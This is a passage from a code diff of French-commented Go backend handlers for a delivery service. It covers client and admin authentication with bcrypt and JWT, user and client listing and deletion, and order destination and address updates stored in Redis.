SessionID: sessionID,
|
||||
RegisteredClaims: jwt.RegisteredClaims{
|
||||
ExpiresAt: jwt.NewNumericDate(time.Now().Add(adminTokenDuration)),
|
||||
IssuedAt: jwt.NewNumericDate(time.Now()),
|
||||
NotBefore: jwt.NewNumericDate(time.Now()),
|
||||
Issuer: "api-admin", // Même issuer pour tous les admins
|
||||
Subject: strconv.Itoa(user.ID),
|
||||
},
|
||||
}
|
||||
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
|
||||
tokenString, err := token.SignedString(adminJWTSecret) // ✅ UTILISER adminJWTSecret (ADMIN/CABINE/LIVREUR)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return tokenString, nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// HANDLERS AUTHENTIFICATION CLIENT
|
||||
// ============================================
|
||||
|
||||
// RegisterClient crée un nouveau compte client
|
||||
// POST /api/v1/auth/register
|
||||
func RegisterClient(c *gin.Context) {
|
||||
var req RegisterClientRequest
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
log.Printf("❌ [REGISTER_CLIENT] Erreur binding: %v", err)
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Données invalides",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Validation téléphone
|
||||
if !validatePhoneNumber(req.Telephone) {
|
||||
log.Printf("❌ [REGISTER_CLIENT] Téléphone invalide: %s", req.Telephone)
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Numéro de téléphone invalide",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
normalizedPhone := normalizePhoneNumber(req.Telephone)
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
// Vérifier username unique
|
||||
if existingClient, _ := database.GetClientByUsername(req.Username); existingClient != nil {
|
||||
log.Printf("❌ [REGISTER_CLIENT] Username déjà utilisé: %s", req.Username)
|
||||
c.JSON(http.StatusConflict, gin.H{"error": "Nom d'utilisateur déjà utilisé"})
|
||||
return
|
||||
}
|
||||
|
||||
// Vérifier téléphone unique
|
||||
if existingClient, _ := database.GetClientByTelephone(normalizedPhone); existingClient != nil {
|
||||
log.Printf("❌ [REGISTER_CLIENT] Téléphone déjà utilisé: %s", normalizedPhone)
|
||||
c.JSON(http.StatusConflict, gin.H{"error": "Ce numéro de téléphone est déjà utilisé"})
|
||||
return
|
||||
}
|
||||
|
||||
// Hasher le mot de passe
|
||||
hashed, err := bcrypt.GenerateFromPassword([]byte(req.Password), bcrypt.DefaultCost)
|
||||
if err != nil {
|
||||
log.Printf("❌ [REGISTER_CLIENT] Erreur bcrypt: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur traitement mot de passe"})
|
||||
return
|
||||
}
|
||||
|
||||
// Créer le client
|
||||
client := &models.Client{
|
||||
Username: req.Username,
|
||||
Password: string(hashed),
|
||||
Nom: strings.TrimSpace(req.Nom),
|
||||
Prenom: strings.TrimSpace(req.Prenom),
|
||||
Telephone: normalizedPhone,
|
||||
CreatedAt: time.Now(),
|
||||
}
|
||||
|
||||
if err := database.CreateClient(client); err != nil {
|
||||
log.Printf("❌ [REGISTER_CLIENT] Erreur création: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur création client"})
|
||||
return
|
||||
}
|
||||
|
||||
// Générer le token
|
||||
token, err := generateClientToken(client)
|
||||
if err != nil {
|
||||
log.Printf("❌ [REGISTER_CLIENT] Erreur génération token: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur génération token"})
|
||||
return
|
||||
}
|
||||
|
||||
// Sauvegarder le token
|
||||
expiresAt := time.Now().Add(clientTokenDuration)
|
||||
if err := database.SaveToken(client.ID, "client", token, expiresAt); err != nil {
|
||||
log.Printf("❌ [REGISTER_CLIENT] Erreur SaveToken: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur enregistrement token"})
|
||||
return
|
||||
}
|
||||
|
||||
// Créer la session Redis
|
||||
sessionID := uuid.New().String()
|
||||
if err := database.CreateClientSession(client.ID, client.Username, sessionID); err != nil {
|
||||
log.Printf("⚠️ [REGISTER_CLIENT] Erreur session Redis: %v", err)
|
||||
}
|
||||
|
||||
client.Password = ""
|
||||
|
||||
log.Printf("✅ [REGISTER_CLIENT] Client créé: %s (ID=%d)", client.Username, client.ID)
|
||||
|
||||
c.JSON(http.StatusCreated, LoginResponse{
|
||||
AccessToken: token,
|
||||
TokenType: "Bearer",
|
||||
ExpiresIn: int(clientTokenDuration.Seconds()),
|
||||
User: gin.H{
|
||||
"id": client.ID,
|
||||
"username": client.Username,
|
||||
"nom": client.Nom,
|
||||
"prenom": client.Prenom,
|
||||
"telephone": client.Telephone,
|
||||
"role": "client",
|
||||
"session_id": sessionID,
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
// LoginClient authentifie un client
|
||||
// POST /api/v1/auth/login
|
||||
func LoginClient(c *gin.Context) {
|
||||
var req LoginRequest
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
log.Printf("❌ [LOGIN_CLIENT] Erreur binding: %v", err)
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Données invalides"})
|
||||
return
|
||||
}
|
||||
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
client, err := database.GetClientByUsername(req.Username)
|
||||
if err != nil {
|
||||
log.Printf("❌ [LOGIN_CLIENT] Client non trouvé: %s", req.Username)
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Identifiants invalides"})
|
||||
return
|
||||
}
|
||||
|
||||
if err := bcrypt.CompareHashAndPassword([]byte(client.Password), []byte(req.Password)); err != nil {
|
||||
log.Printf("❌ [LOGIN_CLIENT] Mot de passe invalide: %s", req.Username)
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Identifiants invalides"})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ LIGNE 302 CORRIGÉE - Gérer l'erreur !
|
||||
token, err := generateClientToken(client)
|
||||
if err != nil {
|
||||
log.Printf("❌ [LOGIN_CLIENT] Erreur génération token: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur génération token"})
|
||||
return
|
||||
}
|
||||
|
||||
expiresAt := time.Now().Add(clientTokenDuration)
|
||||
if err := database.SaveToken(client.ID, "client", token, expiresAt); err != nil {
|
||||
log.Printf("❌ [LOGIN_CLIENT] Erreur SaveToken: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur enregistrement token"})
|
||||
return
|
||||
}
|
||||
|
||||
// Créer la session Redis
|
||||
sessionID := uuid.New().String()
|
||||
if err := database.CreateClientSession(client.ID, client.Username, sessionID); err != nil {
|
||||
log.Printf("⚠️ [LOGIN_CLIENT] Erreur session Redis: %v", err)
|
||||
}
|
||||
|
||||
log.Printf("✅ [LOGIN_CLIENT] Client authentifié: %s", req.Username)
|
||||
|
||||
c.JSON(http.StatusOK, LoginResponse{
|
||||
AccessToken: token,
|
||||
TokenType: "Bearer",
|
||||
ExpiresIn: int(clientTokenDuration.Seconds()),
|
||||
User: gin.H{
|
||||
"id": client.ID,
|
||||
"username": client.Username,
|
||||
"nom": client.Nom,
|
||||
"prenom": client.Prenom,
|
||||
"telephone": client.Telephone,
|
||||
"role": "client",
|
||||
"session_id": sessionID,
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
// LogoutClient déconnecte un client
|
||||
// POST /api/v1/auth/logout
|
||||
func LogoutClient(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
// Invalider la session Redis
|
||||
clientID, hasClientID := c.Get("client_id")
|
||||
if hasClientID && clientID != nil {
|
||||
if err := database.InvalidateSession(clientID.(int)); err != nil {
|
||||
log.Printf("⚠️ [LOGOUT_CLIENT] Erreur invalidation session: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// Révoquer le JWT token
|
||||
authHeader := c.GetHeader("Authorization")
|
||||
if authHeader != "" && strings.HasPrefix(authHeader, "Bearer ") {
|
||||
tokenStr := strings.TrimPrefix(authHeader, "Bearer ")
|
||||
database.RevokeToken(tokenStr)
|
||||
}
|
||||
|
||||
log.Printf("✅ [LOGOUT_CLIENT] Client déconnecté")
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{"message": "Déconnexion réussie"})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// HANDLERS AUTHENTIFICATION ADMIN
|
||||
// ============================================
|
||||
|
||||
// RegisterAdmin crée un nouvel utilisateur admin/cabine/livreur
|
||||
// POST /api/v1/auth/admin/register
|
||||
func RegisterAdmin(c *gin.Context) {
|
||||
var req RegisterAdminRequest
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
log.Printf("❌ [REGISTER_ADMIN] Erreur binding: %v", err)
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Données invalides"})
|
||||
return
|
||||
}
|
||||
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
// Vérifier que l'user n'existe pas
|
||||
if existingUser, _ := database.GetUserByUsername(req.Username); existingUser != nil {
|
||||
log.Printf("❌ [REGISTER_ADMIN] Username déjà utilisé: %s", req.Username)
|
||||
c.JSON(http.StatusConflict, gin.H{"error": "Nom d'utilisateur déjà utilisé"})
|
||||
return
|
||||
}
|
||||
|
||||
hashed, _ := bcrypt.GenerateFromPassword([]byte(req.Password), bcrypt.DefaultCost)
|
||||
user := &models.User{
|
||||
Username: req.Username,
|
||||
Password: string(hashed),
|
||||
Role: req.Role,
|
||||
}
|
||||
|
||||
if err := database.CreateUser(user); err != nil {
|
||||
log.Printf("❌ [REGISTER_ADMIN] Erreur création: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur création utilisateur"})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("✅ [REGISTER_ADMIN] User créé: %s (role=%s, ID=%d)", user.Username, user.Role, user.ID)
|
||||
|
||||
// Générer le token
|
||||
token, err := generateAdminToken(user)
|
||||
if err != nil {
|
||||
log.Printf("❌ [REGISTER_ADMIN] Erreur génération token: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur génération token"})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("✅ [REGISTER_ADMIN] Token généré: %s...", token[:50])
|
||||
|
||||
// ============================================
|
||||
// ✅ CRITICAL FIX: ENREGISTRER LE TOKEN EN DB
|
||||
// ============================================
|
||||
expiresAt := time.Now().Add(adminTokenDuration)
|
||||
if err := database.SaveToken(user.ID, user.Role, token, expiresAt); err != nil {
|
||||
log.Printf("❌ [REGISTER_ADMIN] Erreur SaveToken: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur enregistrement token"})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("✅ [REGISTER_ADMIN] Token enregistré en DB pour user ID: %d", user.ID)
|
||||
|
||||
user.Password = ""
|
||||
|
||||
c.JSON(http.StatusCreated, LoginResponse{
|
||||
AccessToken: token,
|
||||
TokenType: "Bearer",
|
||||
ExpiresIn: int(adminTokenDuration.Seconds()),
|
||||
User: user,
|
||||
})
|
||||
}
|
||||
|
||||
// LoginAdmin authentifie un admin/cabine/livreur
|
||||
// POST /api/v1/auth/admin/login
|
||||
// ✅ AMÉLIORÉ: Meilleure gestion d'erreurs
|
||||
func LoginAdmin(c *gin.Context) {
|
||||
var req LoginRequest
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
log.Printf("❌ [LOGIN_ADMIN] Erreur binding: %v", err)
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Données invalides"})
|
||||
return
|
||||
}
|
||||
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
user, err := database.GetUserByUsername(req.Username)
|
||||
if err != nil || user == nil {
|
||||
log.Printf("❌ [LOGIN_ADMIN] User non trouvé: %s", req.Username)
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Identifiants invalides"})
|
||||
return
|
||||
}
|
||||
|
||||
// Vérifier que c'est un admin/cabine/livreur
|
||||
if user.Role != "admin" && user.Role != "cabine" && user.Role != "livreur" {
|
||||
log.Printf("❌ [LOGIN_ADMIN] Rôle invalide: %s", user.Role)
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Accès non autorisé"})
|
||||
return
|
||||
}
|
||||
|
||||
// Vérifier le mot de passe
|
||||
if user.Password == "" {
|
||||
log.Printf("❌ [LOGIN_ADMIN] Mot de passe vide en base")
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Identifiants invalides"})
|
||||
return
|
||||
}
|
||||
|
||||
if err := bcrypt.CompareHashAndPassword([]byte(user.Password), []byte(req.Password)); err != nil {
|
||||
log.Printf("❌ [LOGIN_ADMIN] Mot de passe invalide: %s", req.Username)
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Identifiants invalides"})
|
||||
return
|
||||
}
|
||||
|
||||
// Générer le token
|
||||
token, _ := generateAdminToken(user)
|
||||
|
||||
expiresAt := time.Now().Add(adminTokenDuration)
|
||||
if err := database.SaveToken(user.ID, user.Role, token, expiresAt); err != nil {
|
||||
log.Printf("❌ [LOGIN_ADMIN] Erreur SaveToken: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur enregistrement token"})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("✅ [LOGIN_ADMIN] User authentifié: %s (role=%s)", user.Username, user.Role)
|
||||
|
||||
c.JSON(http.StatusOK, LoginResponse{
|
||||
AccessToken: token,
|
||||
TokenType: "Bearer",
|
||||
ExpiresIn: int(adminTokenDuration.Seconds()),
|
||||
User: gin.H{
|
||||
"id": user.ID,
|
||||
"username": user.Username,
|
||||
"role": user.Role,
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
// LogoutAdmin déconnecte un admin/cabine/livreur
|
||||
// POST /api/v1/auth/admin/logout
|
||||
func LogoutAdmin(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
// Révoquer le JWT token
|
||||
authHeader := c.GetHeader("Authorization")
|
||||
if authHeader != "" && strings.HasPrefix(authHeader, "Bearer ") {
|
||||
tokenStr := strings.TrimPrefix(authHeader, "Bearer ")
|
||||
database.RevokeToken(tokenStr)
|
||||
}
|
||||
|
||||
log.Printf("✅ [LOGOUT_ADMIN] User déconnecté")
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{"message": "Déconnexion réussie"})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// HELPERS
|
||||
// ============================================
|
||||
|
||||
// GetCurrentClient récupère le client actuel
|
||||
// GET /api/v1/profile/client
|
||||
func GetCurrentClient(c *gin.Context) {
|
||||
clientID := c.GetInt("client_id")
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
client, err := database.GetClientByID(clientID)
|
||||
if err != nil {
|
||||
log.Printf("❌ [GET_CURRENT_CLIENT] Client non trouvé: ID=%d", clientID)
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Client non trouvé"})
|
||||
return
|
||||
}
|
||||
|
||||
client.Password = ""
|
||||
|
||||
log.Printf("✅ [GET_CURRENT_CLIENT] Client récupéré: %s", client.Username)
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"client": gin.H{
|
||||
"id": client.ID,
|
||||
"username": client.Username,
|
||||
"nom": client.Nom,
|
||||
"prenom": client.Prenom,
|
||||
"telephone": client.Telephone,
|
||||
"command": client.Command,
|
||||
"point": client.Point,
|
||||
"amende": client.Amende,
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
// GetCurrentAdmin récupère l'admin/user actuel
|
||||
// GET /api/v1/profile/admin
|
||||
func GetCurrentAdmin(c *gin.Context) {
|
||||
userID := c.GetInt("user_id")
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
user, err := database.GetUserByID(userID)
|
||||
if err != nil {
|
||||
log.Printf("❌ [GET_CURRENT_ADMIN] User non trouvé: ID=%d", userID)
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Utilisateur non trouvé"})
|
||||
return
|
||||
}
|
||||
|
||||
user.Password = ""
|
||||
|
||||
log.Printf("✅ [GET_CURRENT_ADMIN] User récupéré: %s", user.Username)
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"user": ProfileResponse{
|
||||
Username: user.Username,
|
||||
Role: user.Role,
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
// HealthCheck vérifie la santé de l'API
|
||||
// GET /api/v1/health
|
||||
func HealthCheck(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
if err := database.DB.Ping(); err != nil {
|
||||
log.Printf("⚠️ [HEALTH] Database down: %v", err)
|
||||
c.JSON(http.StatusServiceUnavailable, gin.H{
|
||||
"status": "unhealthy",
|
||||
"database": "disconnected",
|
||||
"timestamp": time.Now().Unix(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("✅ [HEALTH] API healthy")
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"status": "healthy",
|
||||
"database": "connected",
|
||||
"timestamp": time.Now().Unix(),
|
||||
"version": "2.0.0",
|
||||
})
|
||||
}
|
||||
|
||||
// GetAllUsers récupère tous les utilisateurs (Admin only)
|
||||
func GetAllUsers(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
users, err := database.GetAllUsers()
|
||||
if err != nil {
|
||||
log.Printf("❌ [GET_ALL_USERS] Erreur: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur récupération"})
|
||||
return
|
||||
}
|
||||
|
||||
var sanitized []gin.H
|
||||
for _, u := range users {
|
||||
sanitized = append(sanitized, gin.H{
|
||||
"id": u.ID,
|
||||
"username": u.Username,
|
||||
"role": u.Role,
|
||||
})
|
||||
}
|
||||
|
||||
log.Printf("✅ [GET_ALL_USERS] %d users récupérés", len(sanitized))
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"users": sanitized,
|
||||
"count": len(sanitized),
|
||||
})
|
||||
}
|
||||
|
||||
func GetAllDeliveryMen(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
users, err := database.GetAllDeliveryMen()
|
||||
if err != nil {
|
||||
log.Printf("❌ [GET_ALL_USERS] Erreur: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur récupération"})
|
||||
return
|
||||
}
|
||||
var sanitized []gin.H
|
||||
for _, u := range users {
|
||||
sanitized = append(sanitized, gin.H{
|
||||
"id": u.ID,
|
||||
"username": u.Username,
|
||||
"role": u.Role,
|
||||
})
|
||||
}
|
||||
|
||||
log.Printf("✅ [GET_ALL_USERS] %d users récupérés", len(sanitized))
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"users": sanitized,
|
||||
"count": len(sanitized),
|
||||
})
|
||||
}
|
||||
|
||||
// GetAllClients récupère tous les clients
|
||||
// GET /api/v1/admin/clients
|
||||
func GetAllClients(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
clients, err := database.GetAllClients()
|
||||
if err != nil {
|
||||
log.Printf("❌ [GET_ALL_CLIENTS] Erreur: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur récupération"})
|
||||
return
|
||||
}
|
||||
|
||||
var sanitized []gin.H
|
||||
for _, cl := range clients {
|
||||
sanitized = append(sanitized, gin.H{
|
||||
"id": cl.ID,
|
||||
"username": cl.Username,
|
||||
"nom": cl.Nom,
|
||||
"prenom": cl.Prenom,
|
||||
"telephone": cl.Telephone,
|
||||
"command": cl.Command,
|
||||
"point": cl.Point,
|
||||
"points_zipette": cl.PointZipette,
|
||||
"amende": cl.Amende,
|
||||
"cancellations_count": cl.CancellationsCount,
|
||||
"last_penalty_reason": cl.LastPenaltyReason,
|
||||
})
|
||||
}
|
||||
|
||||
log.Printf("✅ [GET_ALL_CLIENTS] %d clients récupérés", len(sanitized))
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"clients": sanitized,
|
||||
"count": len(sanitized),
|
||||
})
|
||||
}
|
||||
|
||||
func DeleteUser(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
idStr := c.Param("id")
|
||||
id, err := strconv.Atoi(idStr)
|
||||
if err != nil {
|
||||
log.Printf("❌ [DELETE_USER] ID invalide: %v", err)
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
err = database.DeleteUser(id)
|
||||
if err != nil {
|
||||
log.Printf("❌ [DELETE_USER] Erreur: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur suppression"})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("✅ [DELETE_USER] Utilisateur %d supprimé", id)
|
||||
c.JSON(http.StatusOK, gin.H{"message": "Utilisateur supprimé"})
|
||||
}
|
||||
|
||||
// DeleteClient
|
||||
func DeleteClient(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
idStr := c.Param("id")
|
||||
id, err := strconv.Atoi(idStr)
|
||||
if err != nil {
|
||||
log.Printf("❌ [DELETE_CLIENT] ID invalide: %v", err)
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
err = database.DeleteClient(id)
|
||||
if err != nil {
|
||||
log.Printf("❌ [DELETE_CLIENT] Erreur: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur suppression"})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("✅ [DELETE_CLIENT] Client %d supprimé", id)
|
||||
c.JSON(http.StatusOK, gin.H{"message": "Client supprimé"})
|
||||
}
|
||||
@@ -0,0 +1,703 @@
|
||||
// ============================================
|
||||
// handlers/cabine_handlers.go - COMPLET
|
||||
// INCLUT: SetCommandDestinationCoordinates
|
||||
// ============================================
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"gestion/db"
|
||||
"log"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
// ============================================
|
||||
// 0️⃣ FONCTION ADMIN: SET DESTINATION COORDINATES
|
||||
// ============================================
|
||||
|
||||
// SetCommandDestinationCoordinates stocke les coordonnées destination en Redis
|
||||
// POST /api/v2/admin/protected/orders/:id/set-destination
|
||||
func SetCommandDestinationCoordinates(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "admin" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux administrateurs"})
|
||||
return
|
||||
}
|
||||
|
||||
adminUsername := c.GetString("username")
|
||||
|
||||
commandID, err := strconv.Atoi(c.Param("id"))
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
var req struct {
|
||||
Latitude float64 `json:"latitude" binding:"required"`
|
||||
Longitude float64 `json:"longitude" binding:"required"`
|
||||
}
|
||||
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Latitude et longitude requises",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Validation des coordonnées GPS
|
||||
if req.Latitude < -90 || req.Latitude > 90 {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Latitude invalide (doit être entre -90 et 90)",
|
||||
"value": req.Latitude,
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
if req.Longitude < -180 || req.Longitude > 180 {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Longitude invalide (doit être entre -180 et 180)",
|
||||
"value": req.Longitude,
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Vérifier que la commande existe
|
||||
command, err := database.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
|
||||
return
|
||||
}
|
||||
log.Printf("Command: %v", command)
|
||||
|
||||
// Stocker en Redis avec format JSON
|
||||
destCacheKey := fmt.Sprintf("command:destination:%d", commandID)
|
||||
coordsJSON, _ := json.Marshal(map[string]float64{
|
||||
"lat": req.Latitude,
|
||||
"lon": req.Longitude,
|
||||
})
|
||||
|
||||
ttlSeconds := 24 * 60 * 60 // 24 heures
|
||||
err = db.Redis.Set(db.RedisCtx, destCacheKey, coordsJSON, time.Duration(ttlSeconds)*time.Second).Err()
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur stockage Redis",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Ajouter un log
|
||||
database.AddCommandLog(commandID, "destination_set",
|
||||
fmt.Sprintf("Coordonnées destination définies par admin %s: (%.6f, %.6f) via Redis",
|
||||
adminUsername, req.Latitude, req.Longitude),
|
||||
adminUsername)
|
||||
|
||||
log.Printf("✅ [ADMIN %s] Coordonnées destination définies pour CMD %d: (%.6f, %.6f) en Redis",
|
||||
adminUsername, commandID, req.Latitude, req.Longitude)
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"message": "Coordonnées définies avec succès en Redis",
|
||||
"command_id": commandID,
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 1. CLIENT PROFILE
|
||||
// ============================================
|
||||
|
||||
func GetClientProfile(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
username := c.Param("username")
|
||||
|
||||
if username == "" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Username requis"})
|
||||
return
|
||||
}
|
||||
|
||||
client, err := database.GetClientByUsername(username)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Client non trouvé"})
|
||||
return
|
||||
}
|
||||
|
||||
client.Password = ""
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"client": gin.H{
|
||||
"id": client.ID,
|
||||
"username": client.Username,
|
||||
"command": client.Command,
|
||||
"point": client.Point,
|
||||
"amende": client.Amende,
|
||||
"created_at": client.CreatedAt,
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
func GetClientFullHistory(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
username := c.Param("username")
|
||||
|
||||
if username == "" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Username requis"})
|
||||
return
|
||||
}
|
||||
|
||||
client, err := database.GetClientByUsername(username)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Client non trouvé"})
|
||||
return
|
||||
}
|
||||
|
||||
commands, err := database.GetAllCommands("", username)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur récupération historique"})
|
||||
return
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"client": gin.H{
|
||||
"username": client.Username,
|
||||
"total_commands": client.Command,
|
||||
"points": client.Point,
|
||||
"amende": client.Amende,
|
||||
},
|
||||
"commands": commands,
|
||||
"count": len(commands),
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 2. UPDATE ADDRESS
|
||||
// ============================================
|
||||
|
||||
func UpdateCommandAddressCabine(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
commandID, err := strconv.Atoi(c.Param("id"))
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
var req struct {
|
||||
DeliveryAddress string `json:"delivery_address" binding:"required"`
|
||||
Reason string `json:"reason"`
|
||||
}
|
||||
if err := c.ShouldBindJSON(&req); err != nil || req.DeliveryAddress == "" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Adresse de livraison requise"})
|
||||
return
|
||||
}
|
||||
|
||||
command, err := database.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
|
||||
return
|
||||
}
|
||||
|
||||
status, _ := command["status"].(string)
|
||||
|
||||
allowedStatuses := []string{"pending", "", "assigned"}
|
||||
isAllowed := false
|
||||
for _, s := range allowedStatuses {
|
||||
if status == s {
|
||||
isAllowed = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !isAllowed {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Impossible de modifier l'adresse d'une commande en cours ou terminée",
|
||||
"current_status": status,
|
||||
"allowed_statuses": allowedStatuses,
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
if err := database.UpdateCommandAddress(commandID, req.DeliveryAddress); err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur lors de la mise à jour de l'adresse",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
cabineUsername, _ := c.Get("username")
|
||||
message := fmt.Sprintf("Adresse modifiée par cabine: %s", req.DeliveryAddress)
|
||||
if req.Reason != "" {
|
||||
message += fmt.Sprintf(" (Raison: %s)", req.Reason)
|
||||
}
|
||||
